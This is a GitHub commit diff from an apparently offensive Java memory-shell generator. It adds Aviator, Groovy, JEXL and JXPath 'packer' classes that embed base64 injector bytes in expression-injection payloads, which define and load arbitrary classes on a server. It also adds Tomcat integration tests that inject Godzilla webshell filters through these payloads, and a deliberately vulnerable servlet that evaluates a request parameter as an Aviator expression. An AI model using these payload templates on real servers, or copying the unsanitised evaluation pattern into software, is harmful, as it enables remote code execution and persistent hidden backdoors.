Skip to content

Commit c808a52

Browse files
committed
feat: support more expression packer
1 parent 410ee1e commit c808a52

File tree

19 files changed

+400
-9
lines changed

19 files changed

+400
-9
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/packer/Packers.java

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,20 @@
11
package com.reajason.javaweb.memshell.packer;
22

3+
import com.reajason.javaweb.memshell.packer.aviator.AviatorPacker;
34
import com.reajason.javaweb.memshell.packer.base64.Base64Packer;
45
import com.reajason.javaweb.memshell.packer.base64.DefaultBase64Packer;
56
import com.reajason.javaweb.memshell.packer.base64.GzipBase64Packer;
67
import com.reajason.javaweb.memshell.packer.deserialize.DeserializePacker;
78
import com.reajason.javaweb.memshell.packer.el.ELPacker;
89
import com.reajason.javaweb.memshell.packer.freemarker.FreemarkerPacker;
10+
import com.reajason.javaweb.memshell.packer.groovy.GroovyPacker;
911
import com.reajason.javaweb.memshell.packer.jar.AgentJarPacker;
1012
import com.reajason.javaweb.memshell.packer.jar.DefaultJarPacker;
13+
import com.reajason.javaweb.memshell.packer.jexl.JEXLPacker;
1114
import com.reajason.javaweb.memshell.packer.jsp.DefalutJspPacker;
1215
import com.reajason.javaweb.memshell.packer.jsp.JspPacker;
1316
import com.reajason.javaweb.memshell.packer.jsp.JspxPacker;
17+
import com.reajason.javaweb.memshell.packer.jxpath.JXPathPacker;
1418
import com.reajason.javaweb.memshell.packer.mvel.MVELPacker;
1519
import com.reajason.javaweb.memshell.packer.ognl.OGNLPacker;
1620
import com.reajason.javaweb.memshell.packer.scriptengine.ScriptEnginePacker;
@@ -69,6 +73,10 @@ public enum Packers {
6973

7074
OGNL(new OGNLPacker()),
7175
MVEL(new MVELPacker()),
76+
JXPath(new JXPathPacker()),
77+
JEXL(new JEXLPacker()),
78+
Groovy(new GroovyPacker()),
79+
Aviator(new AviatorPacker()),
7280

7381
SpEL(new SpELPacker()),
7482
SpELScriptEngine(new SpELScriptEnginePacker(), SpELPacker.class),
Lines changed: 18 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
package com.reajason.javaweb.memshell.packer.aviator;
2+
3+
import com.reajason.javaweb.memshell.config.GenerateResult;
4+
import com.reajason.javaweb.memshell.packer.Packer;
5+
6+
/**
7+
* @author ReaJason
8+
* @since 2024/12/13
9+
*/
10+
public class AviatorPacker implements Packer {
11+
String template = "use org.springframework.cglib.core.*;use org.springframework.util.*;ReflectUtils.defineClass('{{className}}', Base64Utils.decodeFromString('{{base64Str}}'), ReflectionUtils.invokeMethod(ClassUtils.getMethod(Class.forName('java.lang.Thread'), 'getContextClassLoader', nil), Thread.currentThread()));";
12+
13+
@Override
14+
public String pack(GenerateResult generateResult) {
15+
return template.replace("{{className}}", generateResult.getInjectorClassName())
16+
.replace("{{base64Str}}", generateResult.getInjectorBytesBase64Str());
17+
}
18+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.memshell.packer.groovy;
2+
3+
import com.reajason.javaweb.memshell.config.GenerateResult;
4+
import com.reajason.javaweb.memshell.packer.Packer;
5+
import com.reajason.javaweb.memshell.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/12/13
10+
*/
11+
public class GroovyPacker implements Packer {
12+
String template = "new javax.script.ScriptEngineManager().getEngineByName('js').eval('{{script}}')";
13+
14+
@Override
15+
public String pack(GenerateResult generateResult) {
16+
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
17+
return template.replace("{{script}}", script);
18+
}
19+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.memshell.packer.jexl;
2+
3+
import com.reajason.javaweb.memshell.config.GenerateResult;
4+
import com.reajason.javaweb.memshell.packer.Packer;
5+
import com.reajason.javaweb.memshell.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/12/13
10+
*/
11+
public class JEXLPacker implements Packer {
12+
String template = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('{{script}}')";
13+
14+
@Override
15+
public String pack(GenerateResult generateResult) {
16+
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
17+
return template.replace("{{script}}", script);
18+
}
19+
}
Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
package com.reajason.javaweb.memshell.packer.jxpath;
2+
3+
import com.reajason.javaweb.memshell.config.GenerateResult;
4+
import com.reajason.javaweb.memshell.packer.Packer;
5+
import com.reajason.javaweb.memshell.packer.Packers;
6+
7+
/**
8+
* @author ReaJason
9+
* @since 2024/12/13
10+
*/
11+
public class JXPathPacker implements Packer {
12+
String template = "eval(getEngineByName(javax.script.ScriptEngineManager.new(), 'js'), '{{script}}')";
13+
14+
@Override
15+
public String pack(GenerateResult generateResult) {
16+
String script = Packers.ScriptEngine.getInstance().pack(generateResult);
17+
return template.replace("{{script}}", script);
18+
}
19+
}

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertionTool.java

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -147,6 +147,10 @@ public static void assertInjectIsOk(String url, String shellType, ShellTool shel
147147
case SpEL -> VulTool.postData(url + "/spel", content);
148148
case OGNL -> VulTool.postData(url + "/ognl", content);
149149
case MVEL -> VulTool.postData(url + "/mvel", content);
150+
case JXPath -> VulTool.postData(url + "/jxpath", content);
151+
case JEXL -> VulTool.postData(url + "/jexl2", content);
152+
case Aviator -> VulTool.postData(url + "/aviator", content);
153+
case Groovy -> VulTool.postData(url + "/groovy", content);
150154
case Freemarker -> VulTool.postData(url + "/freemarker", content);
151155
case Velocity -> VulTool.postData(url + "/velocity", content);
152156
case Deserialize -> VulTool.postData(url + "/java_deserialize", content);

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java

Lines changed: 1 addition & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ public class Tomcat8ContainerTest {
3434

3535
@Container
3636
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
37-
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
37+
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
3838
.withCopyToContainer(jattachFile, "/jattach")
3939
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
4040
.waitingFor(Wait.forHttp("/app"))
@@ -78,12 +78,6 @@ static Stream<Arguments> casesProvider() {
7878
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
7979
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine),
8080
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize),
81-
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
82-
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
83-
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
84-
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
85-
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
86-
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity),
8781
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
8882
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
8983
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
package com.reajason.javaweb.integration.tomcat;
2+
3+
import com.reajason.javaweb.memshell.config.Constants;
4+
import com.reajason.javaweb.memshell.config.Server;
5+
import com.reajason.javaweb.memshell.config.ShellTool;
6+
import com.reajason.javaweb.memshell.packer.Packers;
7+
import lombok.extern.slf4j.Slf4j;
8+
import net.bytebuddy.jar.asm.Opcodes;
9+
import org.junit.jupiter.api.AfterAll;
10+
import org.junit.jupiter.params.ParameterizedTest;
11+
import org.junit.jupiter.params.provider.Arguments;
12+
import org.junit.jupiter.params.provider.MethodSource;
13+
import org.testcontainers.containers.GenericContainer;
14+
import org.testcontainers.containers.wait.strategy.Wait;
15+
import org.testcontainers.junit.jupiter.Container;
16+
import org.testcontainers.junit.jupiter.Testcontainers;
17+
18+
import java.util.stream.Stream;
19+
20+
import static com.reajason.javaweb.integration.ContainerTool.*;
21+
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
22+
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
23+
import static org.hamcrest.MatcherAssert.assertThat;
24+
import static org.junit.jupiter.params.provider.Arguments.arguments;
25+
26+
/**
27+
* @author ReaJason
28+
* @since 2024/12/4
29+
*/
30+
@Slf4j
31+
@Testcontainers
32+
public class Tomcat8ExpressionContainerTest {
33+
public static final String imageName = "tomcat:8-jre8";
34+
35+
@Container
36+
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
37+
.withCopyToContainer(warExpressionFile, "/usr/local/tomcat/webapps/app.war")
38+
.withCopyToContainer(jattachFile, "/jattach")
39+
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
40+
.waitingFor(Wait.forHttp("/app"))
41+
.withExposedPorts(8080);
42+
43+
static Stream<Arguments> casesProvider() {
44+
return Stream.of(
45+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.EL),
46+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.OGNL),
47+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.MVEL),
48+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.SpEL),
49+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JEXL),
50+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JXPath),
51+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Aviator),
52+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Groovy),
53+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Freemarker),
54+
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Velocity)
55+
);
56+
}
57+
58+
@AfterAll
59+
static void tearDown() {
60+
String logs = container.getLogs();
61+
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
62+
}
63+
64+
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
65+
@MethodSource("casesProvider")
66+
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
67+
testShellInjectAssertOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
68+
}
69+
}

vul/vul-webapp-expression/build.gradle

Lines changed: 14 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,8 @@ java {
99
toolchain {
1010
languageVersion = JavaLanguageVersion.of(8)
1111
}
12-
sourceCompatibility = JavaVersion.VERSION_1_6
13-
targetCompatibility = JavaVersion.VERSION_1_6
12+
sourceCompatibility = JavaVersion.VERSION_1_8
13+
targetCompatibility = JavaVersion.VERSION_1_8
1414
}
1515

1616
dependencies {
@@ -22,7 +22,19 @@ dependencies {
2222
implementation 'org.apache.velocity:velocity:1.7'
2323
implementation 'ognl:ognl:2.7.3'
2424
implementation 'org.mvel:mvel2:2.4.7.Final'
25+
implementation 'org.apache.commons:commons-jexl:2.1.1'
26+
implementation 'org.apache.commons:commons-jexl3:3.2.1'
27+
implementation 'commons-jxpath:commons-jxpath:1.3'
28+
implementation 'com.googlecode.aviator:aviator:5.2.7'
29+
implementation 'org.codehaus.groovy:groovy:3.0.6'
2530
implementation 'org.springframework:spring-expression:4.3.0.RELEASE'
2631
providedCompile 'de.odysseus.juel:juel-api:2.2.7'
2732
providedCompile "javax.servlet:servlet-api:2.5"
33+
34+
testImplementation platform('org.junit:junit-bom:5.11.4')
35+
testImplementation 'org.junit.jupiter:junit-jupiter'
36+
}
37+
38+
test {
39+
useJUnitPlatform()
2840
}
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
import com.googlecode.aviator.AviatorEvaluator;
2+
import com.googlecode.aviator.AviatorEvaluatorInstance;
3+
import groovy.lang.GroovyShell;
4+
5+
import javax.servlet.ServletException;
6+
import javax.servlet.http.HttpServlet;
7+
import javax.servlet.http.HttpServletRequest;
8+
import javax.servlet.http.HttpServletResponse;
9+
import java.io.IOException;
10+
11+
/**
12+
* @author ReaJason
13+
* @since 2024/12/14
14+
*/
15+
public class AviatorServlet extends HttpServlet {
16+
@Override
17+
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
18+
String data = req.getParameter("data");
19+
AviatorEvaluatorInstance evaluator = AviatorEvaluator.newInstance();
20+
resp.getWriter().println(evaluator.execute(data));
21+
}
22+
}

0 commit comments

Comments
 (0)